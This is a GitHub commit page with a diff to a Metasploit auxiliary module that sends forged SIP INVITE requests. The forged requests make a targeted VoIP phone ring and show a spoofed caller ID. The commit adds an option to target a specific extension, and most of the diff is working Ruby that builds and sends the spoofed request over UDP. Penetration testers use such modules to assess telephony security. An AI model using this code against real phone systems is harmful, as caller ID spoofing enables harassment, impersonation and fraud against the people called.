Skip to content

Commit 954ccf1

Browse files
ChrisJohnRileysinn3r
authored andcommitted
Added ability to set extension on target
1 parent 4f47865 commit 954ccf1

File tree

1 file changed

+18
-8
lines changed

1 file changed

+18
-8
lines changed

modules/auxiliary/voip/sip_invite_spoof.rb

Lines changed: 18 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
##
2-
# $Id$
2+
# $Id: sip_invite_spoof.rb 15390 2012-06-05 03:03:05Z rapid7 $
33
##
44

55
##
@@ -21,9 +21,9 @@ class Metasploit3 < Msf::Auxiliary
2121
def initialize
2222
super(
2323
'Name' => 'SIP Invite Spoof',
24-
'Version' => '$Revision$',
24+
'Version' => '$Revision: 15390 $',
2525
'Description' => 'This module will create a fake SIP invite request making the targeted device ring and display fake caller id information.',
26-
'Author' => 'David Maynor <dave[at]erratasec.com>',
26+
'Author' => '[David Maynor <dave[at]erratasec.com>, ChrisJohnRiley]',
2727
'License' => MSF_LICENSE
2828
)
2929

@@ -32,7 +32,8 @@ def initialize
3232
[
3333
Opt::RPORT(5060),
3434
OptString.new('SRCADDR', [true, "The sip address the spoofed call is coming from",'192.168.1.1']),
35-
OptString.new('MSG', [true, "The spoofed caller id to send","The Metasploit has you"])
35+
OptString.new('MSG', [true, "The spoofed caller id to send","The Metasploit has you"]),
36+
OptString.new('EXTENSION', [false, "The specific extension or name to target", nil])
3637
], self.class)
3738
end
3839

@@ -43,18 +44,27 @@ def run_host(ip)
4344

4445
name = datastore['MSG']
4546
src = datastore['SRCADDR']
47+
ext = datastore['EXTENSION']
48+
49+
if not ext.nil? and not ext.empty?
50+
# set extesion name/number
51+
conn_string = "#{ext}@#{ip}"
52+
else
53+
conn_string = "#{ip}"
54+
end
55+
4656
connect_udp
4757

48-
print_status("Sending Fake SIP Invite to: #{ip}")
58+
print_status("Sending Fake SIP Invite to: #{conn_string}")
4959

50-
req = "INVITE sip:@127.0.0.1 SIP/2.0" + "\r\n"
51-
req << "To: <sip:#{ip}>" + "\r\n"
60+
req = "INVITE sip:#{conn_string} SIP/2.0" + "\r\n"
61+
req << "To: <sip:#{conn_string}>" + "\r\n"
5262
req << "Via: SIP/2.0/UDP #{ip}" + "\r\n"
5363
req << "From: \"#{name}\"<sip:#{src}>" + "\r\n"
5464
req << "Call-ID: #{(rand(100)+100)}#{ip}" + "\r\n"
5565
req << "CSeq: 1 INVITE" + "\r\n"
5666
req << "Max-Forwards: 20" + "\r\n"
57-
req << "Contact: <sip:127.0.0.1>" + "\r\n\r\n"
67+
req << "Contact: <sip:#{conn_string}>" + "\r\n\r\n"
5868

5969
udp_sock.put(req)
6070
disconnect_udp

0 commit comments

Comments
 (0)